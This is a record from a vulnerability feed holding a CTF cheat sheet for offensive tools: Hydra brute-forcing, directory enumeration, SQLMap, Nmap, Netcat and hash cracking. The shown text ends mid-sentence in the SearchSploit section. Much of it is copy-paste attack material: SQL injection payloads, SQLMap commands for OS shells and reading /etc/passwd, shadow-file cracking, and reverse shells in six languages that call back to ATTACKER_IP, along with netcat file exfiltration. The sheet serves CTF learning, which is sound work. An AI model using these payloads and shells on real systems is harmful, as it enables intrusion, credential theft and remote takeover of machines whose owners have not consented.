{"uuid": "54d388dc-adaf-4e70-bf8b-7f6440592bf6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-7494", "type": "seen", "source": "https://gist.github.com/riskiidice/0a6702cea85c5df6bacd134a483e46cd", "content": "# CTF Basic Tools & Quick Reference\n\nEssential tools for common CTF tasks. Simple commands, real usage.\n\n---\n\n## Table of Contents\n\n1. [Hydra - Password Brute-Forcing](#1-hydra---password-brute-forcing)\n2. [Gobuster & Dirb - Web Directory Enumeration](#2-gobuster--dirb---web-directory-enumeration)\n3. [SQLMap - SQL Injection](#3-sqlmap---sql-injection)\n4. [Nmap - Network Scanning](#4-nmap---network-scanning)\n5. [Netcat & Reverse Shells](#5-netcat--reverse-shells)\n6. [Hashcat & John - Hash Cracking](#6-hashcat--john---hash-cracking)\n7. [SearchSploit - Exploit Search](#7-searchsploit---exploit-search)\n8. [FFUF - Web Fuzzing](#8-ffuf---web-fuzzing)\n9. [Metasploit Framework](#9-metasploit-framework)\n10. [Webshells & File Upload](#10-webshells--file-upload)\n11. [Mount & Extract ISO/IMG](#11-mount--extract-isoimg)\n\n---\n\n## 1. Hydra - Password Brute-Forcing\n\n### What is Hydra?\n\nHydra is a parallelized login cracker supporting 50+ protocols (SSH, FTP, HTTP, SMB, etc.). Use it when you have a username and need to find the password, or when you have a password and need to find the username.\n\n**When to use:**\n- SSH/HTTP/FTP login page is not rate-limited\n- You found a username but not the password\n- You have a user list and password wordlist\n- CTF says \"brute-force the login\"\n\n**Installation:**\n```bash\napt-get install hydra        # Debian/Ubuntu\nbrew install hydra           # macOS\n```\n\n### Real Usage Examples\n\n#### Example 1: SSH Brute Force (most common CTF pattern)\n\n```bash\n# You found username \"admin\" on the target. Now brute-force the password.\nhydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.10\n\n# Output looks like:\n# [22][ssh] host: 10.10.10.10   login: admin   password: password123\n\n# If SSH is on a non-default port:\nhydra -l admin -P pass.txt ssh://10.10.10.10 -s 2222\n```\n\n**When to use this:** You ran nmap and found port 22 open. SSH often has weak passwords in CTFs. rockyou.txt is the standard wordlist.\n\n#### Example 2: HTTP POST Form Login\n\n```bash\n# Common CTF pattern: /login or /admin endpoint\n# First, capture the exact form parameters by looking at the page source or using Burp\n\n# Structure: hydra target http-post-form \"PATH:BODY:FAIL_MSG\"\nhydra -l admin -P pass.txt 10.10.10.10 http-post-form \"/login:username=^USER^&password=^PASS^:Invalid credentials\"\n\n# What each part means:\n# /login                           \u2192 login page path\n# username=^USER^&password=^PASS^  \u2192 form fields (^USER^ and ^PASS^ are Hydra variables)\n# Invalid credentials               \u2192 failure message (Hydra knows success when this is ABSENT)\n\n# If the fail message is \"Login failed\":\nhydra -l admin -P pass.txt 10.10.10.10 http-post-form \"/admin:user=^USER^&pass=^PASS^:Login failed\"\n```\n\n**How to find the exact form parameters:**\n```bash\n# Use curl to see what the form looks like\ncurl -s http://10.10.10.10/login | grep -i \"form\\|input\\|type=\\\"password\\\"\"\n# Or use Burp Suite intercept to capture the POST request\n```\n\n#### Example 3: HTTP Basic Authentication\n\n```bash\n# Some servers use HTTP Basic Auth (popup login box, not a form page)\n# Target: http://10.10.10.10/manager/html (Tomcat)\nhydra -l admin -P pass.txt 10.10.10.10 http-get://10.10.10.10/manager/html/\n\n# For a realm-protected path:\nhydra -l admin -P pass.txt 10.10.10.10 http-get://10.10.10.10/protected/ -m \"Restricted\"\n```\n\n#### Example 4: FTP Anonymous Login Check\n\n```bash\n# Try to login as anonymous:anonymous\nhydra -l anonymous -P /usr/share/wordlists/rockyou.txt ftp://10.10.10.10\n\n# Or just try empty password:\nhydra -l ftp -P /usr/share/wordlists/rockyou.txt ftp://10.10.10.10\n```\n\n#### Example 5: SMB Login\n\n```bash\n# Try to access Windows share\nhydra -l administrator -P pass.txt smb://10.10.10.10\n\n# Also try null session:\nhydra -l '' -P '' smb://10.10.10.10\n```\n\n#### Example 6: Using User List + Password List (credential stuffing)\n\n```bash\n# When you have multiple possible users\nhydra -L users.txt -P passwords.txt ssh://10.10.10.10\n\n# Combine with loop detection (skip after 3 errors)\nhydra -L users.txt -P passwords.txt ssh://10.10.10.10 -V -t 4\n```\n\n#### Example 7: Try Password Same as Username\n\n```bash\n# CTF trick: password equals username\nhydra -L users.txt -e nsr ssh://10.10.10.10\n\n# -e nsr = try \"same as username\", \"empty password\", \"reverse username\"\n```\n\n### Hydra Quick Flags\n\n| Flag | Meaning |\n|------|---------|\n| `-l user` | Single username |\n| `-L file` | Username wordlist |\n| `-p pass` | Single password |\n| `-P file` | Password wordlist |\n| `-e nsr` | Try empty, same as user, reverse |\n| `-V` | Verbose output every attempt |\n| `-t 4` | 4 parallel connections (be nice) |\n| `-s PORT` | Non-default port |\n| `-o output.txt` | Save results to file |\n\n### Wordlists\n\n```bash\n# Standard CTF wordlists\n/usr/share/wordlists/rockyou.txt          # 14M passwords (\u89e3\u538b: gunzip rockyou.txt.gz)\n/usr/share/seclists/Passwords/Common-Creds/top-20-short.txt\n/usr/share/seclists/Usernames/top-500-users.txt\n\n# If rockyou is too big, use smaller ones:\nhead -1000 /usr/share/wordlists/rockyou.txt > short.txt\n```\n\n---\n\n## 2. Gobuster & Dirb - Web Directory Enumeration\n\n### What are they?\n\nDirectory brute-force tools that try common paths to find hidden files, admin panels, backups, and config files.\n\n**When to use:**\n- Web server has port 80/443 open\n- You see \"403 Forbidden\" or \"404 Not Found\" on most pages\n- You need to find /admin, /backup, /config, /phpmyadmin, /.git\n- Initial nmap scan shows nothing but HTTP\n\n**Installation:**\n```bash\napt-get install dirb               # Dirb (older, simpler)\ngo install github.com/OJ/gobuster@latest  # Gobuster (faster, more features)\n```\n\n### Real Usage Examples\n\n#### Example 1: Basic Gobuster Scan (most common)\n\n```bash\n# Standard directory scan\ngobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt\n\n# With extensions (for PHP, config files, backups)\ngobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt -x php,html,zip,bak\n\n# With cookie (if you need auth)\ngobuster dir -u http://10.10.10.10 -w wordlist.txt -c \"PHPSESSID=abc123\"\n\n# Scan HTTPS\ngobuster dir -u https://10.10.10.10 -w wordlist.txt -k\n\n# Output shows found directories with status codes:\n# /admin                (Status: 200)\n# /backup               (Status: 301)\n# /config.php           (Status: 200)\n# /.git                 (Status: 401)  \u2190 .git is often interesting!\n```\n\n#### Example 2: Finding Configuration Files (CTF goldmine)\n\n```bash\n# Config files often contain credentials, database passwords, API keys\ngobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt \\\n    -x php,ini,conf,config,bak,old,sql,json,xml,yaml,env\n\n# Look for:\n# config.php, config.inc, settings.php, database.php\n# .env (contains API keys and DB passwords!)\n# wp-config.php (WordPress)\n# admin/config.php\n```\n\n#### Example 3: Dirb Quick Scan\n\n```bash\n# Simpler alternative, scans with built-in wordlist\ndirb http://10.10.10.10/\n\n# With custom wordlist\ndirb http://10.10.10.10 /usr/share/wordlists/dirb/big.txt\n\n# Scan HTTPS with SSL ignore\ndirb https://10.10.10.10/ -S\n```\n\n#### Example 4: Enumerating Subdomains (DNS mode)\n\n```bash\n# If target is example.com, find subdomains\ngobuster dns -d example.com -w /usr/share/wordlists/subdomains.txt\n\n# Common subdomains:\n# admin.example.com, dev.example.com, staging.example.com\n# api.example.com, internal.example.com\n```\n\n#### Example 5: Finding Admin Panels\n\n```bash\n# Common admin paths - try them all\ngobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt \\\n    -x php,html \\\n    -o admin_scan.txt &\n\n# Then grep for 200 status results\ngrep \"Status: 200\" admin_scan.txt\n```\n\n### What to Look For in Results\n\n| Status | Meaning | CTF Value |\n|--------|---------|-----------|\n| 200 OK | Page exists | High - explore it |\n| 301/302 | Redirect | Medium - check where it goes |\n| 403 | Forbidden | Medium - might be directory listing |\n| 401 | Needs Auth | High - might have credentials in HTML comments |\n| 404 | Not found | Low - skip |\n\n### Common High-Value Paths\n\n```\n/admin/\n/backup/\n/config/\n/.env                     \u2190 Contains DB_PASS, API_KEY, JWT_SECRET\n/config.php\n/settings.php\n/db.sql\n/database.sql\n/wp-admin/                \u2190 WordPress admin\n/wp-login.php\n/phpmyadmin/\n/robots.txt               \u2190 Often lists hidden paths\n/.git/                    \u2190 Git repository (use git-dumper)\n/.svn/\n/api/\n/api/v1/\n/swagger/\n/upload/\n/uploads/\n/images/\n```\n\n---\n\n## 3. SQLMap - SQL Injection\n\n### What is SQLMap?\n\nAutomated SQL injection tool. It detects and exploits SQL injection vulnerabilities and can dump entire databases.\n\n**When to use:**\n- You see a URL like `/product.php?id=5` or `/search?q=test`\n- Login forms might be vulnerable\n- Any parameter that goes to the database\n- CTF has a \"find the admin password\" challenge\n\n**Installation:**\n```bash\napt-get install sqlmap\n# or\npip install sqlmap\n```\n\n### Real Usage Examples\n\n#### Example 1: Basic SQLi Detection (start here)\n\n```bash\n# Test a URL parameter for SQL injection\nsqlmap -u \"http://10.10.10.10/product.php?id=5\"\n\n# SQLMap will test various injection techniques and tell you if vulnerable:\n# Parameter: id (GET)\n# Type: boolean-based blind\n# Title: AND boolean-based blind\n# Payload: id=5 AND 3424=3424\n\n# If it asks \"\u7406 should I skip tests?\" \u2192 say N and let it continue\n# If it finds a vulnerability \u2192 it will ask if you want to exploit\n```\n\n#### Example 2: Get Database Banner (identify database type)\n\n```bash\n# After detecting vulnerability, get database version\nsqlmap -u \"http://10.10.10.10/product.php?id=5\" --batch --banner\n\n# Output:\n# [INFO] the back-end DBMS is MySQL >= 5.0\n# [INFO] fetching banner\n# banner: '5.7.30-33-log'\n```\n\n#### Example 3: List All Databases\n\n```bash\n# If the parameter is vulnerable, enumerate databases\nsqlmap -u \"http://10.10.10.10/product.php?id=5\" --batch --dbs\n\n# Output:\n# available databases [2]:\n# [*] information_schema\n# [*] webapp_db\n```\n\n#### Example 4: Dump Specific Database Tables\n\n```bash\n# Get tables from webapp_db\nsqlmap -u \"http://10.10.10.10/product.php?id=5\" --batch \\\n    -D webapp_db --tables\n\n# Output:\n# Database: webapp_db\n# Table: users\n# Table: products\n# Table: orders\n\n# Dump the users table\nsqlmap -u \"http://10.10.10.10/product.php?id=5\" --batch \\\n    -D webapp_db -T users --dump\n\n# Output:\n# id | username | password | email |\n# 1  | admin   | f0a4cb...| admin@example.com |\n# 2  | john    | 5f4dcc...| john@example.com |\n```\n\n#### Example 5: SQL Injection in POST Request\n\n```bash\n# If the injection is in a POST body (like a login form)\nsqlmap -u \"http://10.10.10.10/login\" \\\n    --data=\"username=admin&password=test\" \\\n    --batch --dbs\n\n# Or if the form uses JSON:\nsqlmap -u \"http://10.10.10.10/api/login\" \\\n    --data='{\"username\":\"admin\",\"password\":\"test\"}' \\\n    --batch --dbs\n```\n\n#### Example 6: Find SQLi in All Parameters (full scan)\n\n```bash\n# Let sqlmap auto-detect which parameter is vulnerable\nsqlmap -u \"http://10.10.10.10/search.php?q=test&category=food&price=100\" \\\n    --batch --dbs\n\n# Test all parameters\nsqlmap -u \"http://10.10.10.10/search.php\" \\\n    --data=\"q=test&category=food\" \\\n    --batch --level=5 \\\n    --risk=3 \\\n    --dbs\n```\n\n#### Example 7: Interactive OS Shell (if DBA privileges)\n\n```bash\n# If sqlmap reports you are DBA, you can get shell access\nsqlmap -u \"http://10.10.10.10/product.php?id=5\" --os-shell\n\n# Or read files from the server\nsqlmap -u \"http://10.10.10.10/product.php?id=5\" --file-read=\"/etc/passwd\"\n```\n\n### SQLMap Risk Levels\n\n| Level | What it does |\n|-------|-------------|\n| `--risk=1` | Default, safe tests |\n| `--risk=2` | Includes heavy query tests |\n| `--risk=3` | Includes OR injection (can corrupt data) |\n\n| Level | What it tests |\n|-------|--------------|\n| `--level=1` | Test GET/POST parameters |\n| `--level=2` | Also test HTTP Cookie |\n| `--level=5` | Also test HTTP User-Agent/Referer |\n\n### Common CTF SQLi Payloads (manual, without sqlmap)\n\n```bash\n# Always-true condition (find vulnerable parameter)\n' OR '1'='1\n\" OR \"1\"=\"1\n' OR 1=1 --\n' OR 1=1 #\nadmin'--\n\n# Union-based (extract data from other tables)\n' UNION SELECT NULL,username,password FROM users--\n' UNION SELECT table_name,NULL FROM information_schema.tables--\n\n# Boolean-based blind (slow but works when no output)\n' AND (SELECT SUBSTR(password,1,1) FROM users WHERE username='admin')='a'--\n' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>100--\n\n# Time-based blind (no output at all)\n' AND SLEEP(5)--\n' AND (SELECT * FROM (SELECT SLEEP(5))a)--\n'; WAITFOR DELAY '00:00:05'--\n```\n\n---\n\n## 4. Nmap - Network Scanning\n\n### What is Nmap?\n\nNetwork scanner that discovers hosts and services on a network. First tool in every CTF reconnaissance phase.\n\n**When to use:**\n- You have a target IP or range\n- You need to find open ports and running services\n- You're looking for vulnerabilities in specific services\n- You need to know what version of software is running\n\n**Installation:**\n```bash\napt-get install nmap\n```\n\n### Real Usage Examples\n\n#### Example 1: Quick Scan (find what ports are open)\n\n```bash\n# Fast scan of top 100 ports\nnmap 10.10.10.10\n\n# Top 1000 ports\nnmap -F 10.10.10.10\n\n# Output:\n# PORT     STATE  SERVICE\n# 22/tcp   open   ssh\n# 80/tcp   open   http\n# 443/tcp  open   https\n# 3306/tcp open   mysql\n```\n\n#### Example 2: Full Port Scan (when you suspect hidden services)\n\n```bash\n# Scan ALL 65535 ports (takes longer)\nnmap -p- 10.10.10.10\n\n# Or scan a range\nnmap -p 1-1000 10.10.10.10\n```\n\n#### Example 3: Service Version Detection\n\n```bash\n# Find exact version of running services\nnmap -sV 10.10.10.10\n\n# Output:\n# PORT     STATE  SERVICE  VERSION\n# 22/tcp   open   ssh      OpenSSH 7.4 (protocol 2.0)\n# 80/tcp   open   http     Apache httpd 2.4.6 ((CentOS))\n# 443/tcp  open   ssl      OpenSSL 1.0.1e-fips\n\n# Use -sVV for more verbose version info\nnmap -sVV 10.10.10.10\n```\n\n#### Example 4: Aggressive Scan (everything at once)\n\n```bash\n# OS, version, scripts, traceroute - comprehensive but loud\nnmap -A 10.10.10.10\n\n# Warning: -A is very noisy and detectable by IDS\n```\n\n#### Example 5: Scan for Vulnerabilities (NSE scripts)\n\n```bash\n# Run all vulnerability scripts\nnmap --script vuln 10.10.10.10\n\n# Specific vulnerability scripts:\nnmap --script \"http-sql-injection,mysql-databases\" 10.10.10.10\n\n# Check for specific CVEs:\nnmap --script \"vuln-* and not dos\" 10.10.10.10\n\n# http-enum: find web directories\nnmap --script http-enum 10.10.10.10 -p 80\n\n# http-title: get page titles\nnmap --script http-title 10.10.10.10 -p 80,443\n```\n\n#### Example 6: HTTP Specific Scan (very useful for web CTFs)\n\n```bash\n# Get HTTP methods (useful for PUT/DELETE exploitation)\nnmap --script http-methods 10.10.10.10 -p 80\n\n# Find web server version and OS\nnmap -sV --script http-server-stats 10.10.10.10 -p 80\n\n# Try to enumerate users via Apache mod_status\nnmap --script http-auth 10.10.10.10 -p 80\n\n# Find default/error pages\nnmap --script http-errors 10.10.10.10 -p 80\n```\n\n#### Example 7: SSH/FTP/MySQL Brute Force Detection\n\n```bash\n# Check if you can enumerate FTP users\nnmap --script ftp-anon 10.10.10.10 -p 21\n\n# Check SSH encryption and banner\nnmap --script ssh2-enum-algos 10.10.10.10 -p 22\n\n# MySQL info\nnmap --script mysql-info 10.10.10.10 -p 3306\n```\n\n#### Example 8: Ping Sweep (find all live hosts in a range)\n\n```bash\n# No port scan, just find which hosts are up\nnmap -sn 10.10.10.0/24\n\n# Output:\n# Nmap scan report for 10.10.10.1:\n# Host is up (0.0012s latency).\n# Nmap scan report for 10.10.10.10:\n# Host is up (0.00051s latency).\n```\n\n#### Example 9: UDP Scan (find DNS, DHCP, SNMP services)\n\n```bash\n# Scan top 100 UDP ports\nnmap -sU --top-ports 100 10.10.10.10\n\n# UDP 53 (DNS), 161 (SNMP), 137/138 (NetBIOS)\nnmap -sU -p 53,161,137,138 10.10.10.10\n```\n\n#### Example 10: Output to File\n\n```bash\n# All formats\nnmap -oA scan_results 10.10.10.10\n\n# Normal output (readable)\nnmap -oN results.nmap 10.10.10.10\n\n# Grepable format (easy to parse with grep)\nnmap -oG results.grep 10.10.10.10\n\n# XML (for tools like Dradis)\nnmap -oX results.xml 10.10.10.10\n```\n\n### Nmap Quick Flags\n\n| Flag | Meaning | When to Use |\n|------|---------|-------------|\n| `-p-` | All 65535 ports | Suspect hidden service |\n| `-sV` | Version detection | Need to know software version |\n| `-sS` | SYN scan (stealth) | Avoid full connection |\n| `-sT` | TCP connect | No root privileges |\n| `-sU` | UDP scan | Find DNS/SNMP services |\n| `-A` | Aggressive | Everything at once |\n| `-O` | OS detection | Need OS info |\n| `-Pn` | No ping | Host is blocking pings |\n| `-sn` | Ping only | Find live hosts |\n| `--script vuln` | Vuln scan | Find CVEs |\n| `-T4` | Faster | Need speed |\n| `-oA` | All outputs | Save everything |\n\n### Common Nmap Service Patterns in CTFs\n\n```bash\n# Web server \u2192 check for SQLi, LFI, RCE\nnmap -sV --script http* 10.10.10.10 -p 80,443,8080\n\n# SMB (Windows) \u2192 check for MS17-010 (EternalBlue)\nnmap --script smb-vuln* 10.10.10.10 -p 445\n\n# Redis \u2192 often no auth, check for RCE\nnmap -sV --script redis-info 10.10.10.10 -p 6379\n\n# Docker API \u2192 RCE via docker socket\nnmap --script docker-version,docker-api 10.10.10.10 -p 2375\n```\n\n---\n\n## 5. Netcat & Reverse Shells\n\n### What is Netcat?\n\nNetwork Swiss Army knife. Read/write TCP/UDP connections. Used for reverse shells, file transfer, banner grabbing, port scanning.\n\n**When to use:**\n- You found an RCE (Remote Code Execution) vulnerability\n- You need to transfer files between machines\n- You want to test if a port is open\n- You need a quick way to get shell access\n\n**Installation:**\n```bash\napt-get install netcat\n# or nc-openbsd on some systems\n```\n\n### Real Usage Examples\n\n#### Example 1: Reverse Shell (attacker listens, victim connects back)\n\n```bash\n# STEP 1: Attacker listens on their machine (Kali)\nnc -lvnp 4444\n\n# STEP 2: Victim connects back to attacker\n# On victim, depending on what's available:\n\n# Bash reverse shell (most common)\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\n\n# Python reverse shell\npython3 -c 'import socket,os,pty;s=socket.socket();s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")'\n\n# PHP reverse shell\nphp -r '$s=fsockopen(\"ATTACKER_IP\",4444);exec(\"/bin/bash -i <&3 >&3 2>&3\");'\n\n# Perl reverse shell\nperl -e 'use Socket;$i=\"ATTACKER_IP\";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");};'\n\n# One-liner (all in one line)\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f\n```\n\n#### Example 2: Bind Shell (victim listens, attacker connects)\n\n```bash\n# On victim (less common in CTFs, usually NAT blocks this)\nnc -lvnp 4444 -e /bin/bash\n\n# On attacker\nnc VICTIM_IP 4444\n```\n\n#### Example 3: File Transfer (no SCP/FTP needed)\n\n```bash\n# Victim has a file you want (linpeas.sh, password database, etc.)\n# Attacker:\nnc -lvnp 4444 > output_file.txt\n\n# Victim:\nnc ATTACKER_IP 4444 < /path/to/file.txt\n\n# Or reverse: attacker sends file to victim\n# Victim:\nnc -lvnp 4444 > received_file.txt\n\n# Attacker:\nnc VICTIM_IP 4444 < file_to_send.txt\n```\n\n#### Example 4: Banner Grabbing (identify service version)\n\n```bash\n# Grab SSH banner\nnc 10.10.10.10 22\n# Output: SSH-2.0-OpenSSH_7.4\n\n# Grab HTTP header\nnc 10.10.10.10 80\nHEAD / HTTP/1.0\n\n# Grab FTP banner\nnc 10.10.10.10 21\n# Output: 220 (vsFTPd 3.0.3)\n\n# Grab SMTP banner\nnc 10.10.10.10 25\n# Output: 220 mail.example.com ESMTP\n```\n\n#### Example 5: Port Scanning with Netcat (when nmap not available)\n\n```bash\n# Check if port is open\nnc -zv 10.10.10.10 80\n# Output: Connection succeeded!\n\n# Scan range of ports\nfor port in 80 443 22 3306 8080; do\n    nc -zv -w 1 10.10.10.10 $port 2>&1 | grep succeeded\ndone\n\n# Full port scan (slow)\nnc -zv 10.10.10.10 1-1000 2>&1 | grep succeeded\n```\n\n#### Example 6: Chat (quick communication between two machines)\n\n```bash\n# Machine 1:\nnc -lp 4444\n\n# Machine 2:\nnc MACHINE1_IP 4444\n# Now both sides can type and see each other's messages\n```\n\n#### Example 7: Upgrade to PTY Shell (better interactive shell)\n\n```bash\n# After getting basic reverse shell, upgrade to full PTY\n# On victim shell:\npython3 -c 'import pty; pty.spawn(\"/bin/bash\")'\n# Or:\nscript -qc /bin/bash /dev/null\n\n# Then press Ctrl+Z to background\n# On attacker machine:\nstty raw -echo; fg\n# This gives you a fully interactive terminal\n```\n\n### Reverse Shell Cheat Sheet (copy-paste for CTF)\n\n```\n# Always have these ready in a text file\n\n# Bash\nbash -i >& /dev/tcp/10.10.10.10/4444 0>&1\n\n# Python\npython3 -c 'import socket,os,pty;s=socket.socket();s.connect((\"10.10.10.10\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")'\n\n# PHP\nphp -r '$s=fsockopen(\"10.10.10.10\",4444);exec(\"/bin/bash -i <&3 >&3 2>&3\");'\n\n# Perl\nperl -e 'use Socket;$i=\"10.10.10.10\";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");};'\n\n# Ruby\nruby -rsocket -e'f=TCPSocket.open(\"10.10.10.10\",4444).to_i;exec sprintf(\"/bin/bash -i <&%d >&%d 2>&%d\",f,f,f)'\n\n# Java\nr = Runtime.getRuntime();p = r.exec([\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/10.10.10.10/4444;cat <&5 | while read line;do \\$line 2>&5 >&5;done\"] as String[]);p.waitFor()\n```\n\n---\n\n## 6. Hashcat & John - Hash Cracking\n\n### What are they?\n\nHashcat and John the Ripper (John) are password hash crackers. Use them when you find a hash and need to find the original password.\n\n**When to use:**\n- You found a password hash in a database dump\n- You found /etc/shadow and need to crack root password\n- You have an NTLM hash from LSASS dump\n- CTF gives you a hash and says \"crack this\"\n\n**Installation:**\n```bash\napt-get install hashcat john\n# or\nbrew install hashcat john\n```\n\n### Hashcat vs John\n\n| Tool | Best For | GPU Support | Format |\n|------|----------|-------------|--------|\n| Hashcat | Fast GPU cracking, many hash types | Yes (much faster) | `-m MODE` |\n| John | CPU, many formats, easy to use | Limited | `--format=` |\n\n### Hashcat Real Examples\n\n#### Example 1: Crack MD5 Hash\n\n```bash\n# Hash type 0 = MD5\n# Save hash to file\necho \"5f4dcc3b5aa765d61d8327deb882cf99\" > hash.txt\n\n# Crack with wordlist\nhashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt\n\n# If you have multiple GPUs:\nhashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt -d 1,2\n\n# Show results\nhashcat -m 0 hash.txt --show\n```\n\n#### Example 2: Crack SHA256 Hash\n\n```bash\n# Hash type 1400 = SHA256\nhashcat -m 1400 hash.txt wordlist.txt\n\n# If it says \"Token length exception\" \u2192 hash has salt, try different format\n```\n\n#### Example 3: Crack NTLM Hash (Windows password)\n\n```bash\n# Hash type 1000 = NTLM\n# Common from Metasploit/Responder/LSASS\nhashcat -m 1000 hash.txt wordlist.txt\n\n# Example NTLM hash format:\n# admin:1000:aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99:::\n```\n\n#### Example 4: Crack WordPress Hash (MD5 with salt)\n\n```bash\n# WordPress uses MD5($salt.$pass)\n# Hash type 2611 = MD5(Wordpress)\nhashcat -m 2611 hash.txt wordlist.txt\n```\n\n#### Example 5: Crack Linux /etc/shadow Hash\n\n```bash\n# Format: $6$salt$hash (SHA-512)\n# Hash type 1800 = sha512crypt\nhashcat -m 1800 hash.txt wordlist.txt\n\n# If combined with passwd file, first extract:\n# root:$6$salt$hash:...\njohn --format=sha512crypt passwd.txt --wordlist=rockyou.txt\n```\n\n#### Example 6: Show Hashcat Hash Types\n\n```bash\n# List all hash modes\nhashcat --help | grep -A 2000 \"Hash modes\"\n\n# Or:\nhashcat -m 0 --help | head -50\n\n# Common ones:\n# 0     MD5\n# 100   SHA1\n# 1400  SHA256\n# 1700  SHA512\n# 1000  NTLM\n# 131   MySQL323\n# 200   MySQL4.1/SHA1\n# 3200  bcrypt\n# 5600  NetNTLMv2\n# 13100 Kerberoas\n# 18200 AS-REP\n```\n\n### John the Ripper Real Examples\n\n#### Example 1: Crack Basic Hash\n\n```bash\n# Simple\njohn --wordlist=/usr/share/wordlists/rockyou.txt hash.txt\n\n# Show results\njohn --show hash.txt\n```\n\n#### Example 2: Auto-detect Hash Type\n\n```bash\n# John auto-detects most common formats\njohn hash.txt\n\n# Or with wordlist\njohn --wordlist=rockyou.txt hash.txt\n```\n\n#### Example 3: Crack /etc/shadow (passwd + shadow combo)\n\n```bash\n# First get both /etc/passwd and /etc/shadow\n# Combine them (unshadow)\nunshadow passwd.txt shadow.txt > combined.txt\n\n# Then crack\njohn --format=sha512crypt combined.txt --wordlist=rockyou.txt\n```\n\n#### Example 4: Crack SSH Key Password\n\n```bash\n# Sometimes SSH private keys are encrypted\njohn --format=SSH ssh_key_hash.txt --wordlist=rockyou.txt\n\n# Or use ssh2john to convert:\npython3 /usr/share/john/ssh2john.py id_rsa > hash.txt\njohn --wordlist=rockyou.txt hash.txt\n```\n\n#### Example 5: Show John Formats\n\n```bash\njohn --list=formats | grep -i \"md5\\|sha\\|ntlm\\|mysql\"\n```\n\n### Common Hash Formats by System\n\n| System | Hash Format | Hashcat Mode | John Format |\n|--------|-------------|--------------|-------------|\n| MD5 | `5f4dcc3b5aa765d61d8327deb882cf99` | `-m 0` | `raw-md5` |\n| SHA1 | `5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8` | `-m 100` | `raw-sha1` |\n| SHA256 | `e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855` | `-m 1400` | `raw-sha256` |\n| SHA512 | `$6$salt$hash...` | `-m 1800` | `sha512crypt` |\n| NTLM | `aad3b435b51404eeaad3b435b51404ee:5f4dcc3b...` | `-m 1000` | `ntlm` |\n| MySQL | `*5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8` | `-m 200` | `mysql` |\n| bcrypt | `$2a$...` | `-m 3200` | `bcrypt` |\n| NetNTLMv2 | `MACHINENAME::DOMAIN:hash...` | `-m 5600` | `netntlmv2` |\n\n### Rules-based Cracking (when wordlist fails)\n\n```bash\n# Hashcat rules: capitalize, append numbers, leet speak\nhashcat -m 0 hash.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule\n\n# John rules\njohn --wordlist=rockyou.txt --rules=NT hash.txt\n```\n\n---\n\n## 7. SearchSploit - Exploit Search\n\n### What is SearchSploit?\n\nCommand-line search for Exploit-DB, the largest database of public exploits. Every CTF VM runs outdated software with known vulnerabilities.\n\n**When to use:**\n- Nmap shows version like \"Apache 2.4.6\"\n- You need to find an exploit for a specific CVE\n- You have software name + version\n- You found a vulnerable service and need RCE\n\n**Installation:**\n```bash\napt-get install exploitdb\n# Update database\nsearchsploit -u\n```\n\n### Real Usage Examples\n\n#### Example 1: Search by Software Name\n\n```bash\n# Find exploits for Apache\nsearchsploit apache\n\n# Find exploits for WordPress\nsearchsploit wordpress\n\n# Find exploits for SMB\nsearchsploit smb\n\n# Find exploits for MySQL\nsearchsploit mysql\n```\n\n#### Example 2: Search by Version\n\n```bash\n# Apache 2.4.6 exploits\nsearchsploit \"apache 2.4\"\n\n# PHP 7.4 RCE\nsearchsploit \"php 7.4\"\n```\n\n#### Example 3: Search by CVE\n\n```bash\n# Search for specific CVE\nsearchsploit CVE-2021-44228\n# Finds: Apache Log4j2 (Log4Shell) RCE\n\n# Also:\nsearchsploit 2021-44228\n```\n\n#### Example 4: Get Exploit Source Code\n\n```bash\n# Show full path to exploit file\nsearchsploit -p 50689\n# Output: /usr/share/exploitdb/exploits/linux/remote/50689.py\n\n# Copy exploit to current directory\nsearchsploit -m 50689\n\n# Or use full path to read:\ncat /usr/share/exploitdb/exploits/linux/remote/50689.py\n```\n\n#### Example 5: Mirror All Exploits for a Software\n\n```bash\n# Copy all PHP exploits to current directory\nsearchsploit php --mirror > php_exploits.txt\n\n# Get remote exploits only\nsearchsploit -s \"remote code execution\" --nmap\n```\n\n### Common CTF Exploit-DB Searches\n\n```bash\n# Find RCE exploits\nsearchsploit \"remote code execution\"\nsearchsploit \"remote command execution\"\n\n# Find LFI/RFI exploits\nsearchsploit \"local file inclusion\"\nsearchsploit \"file inclusion\"\n\n# Find SQL injection\nsearchsploit \"sql injection\"\n\n# Find privesc (privilege escalation)\nsearchsploit \"privilege escalation\"\nsearchsploit \"local privilege escalation\"\n\n# Find kernel exploits\nsearchsploit \"kernel exploit\"\n```\n\n### From Nmap to Exploit (workflow)\n\n```bash\n# 1. Scan target\nnmap -sV 10.10.10.10\n\n# Output shows:\n# 22/tcp   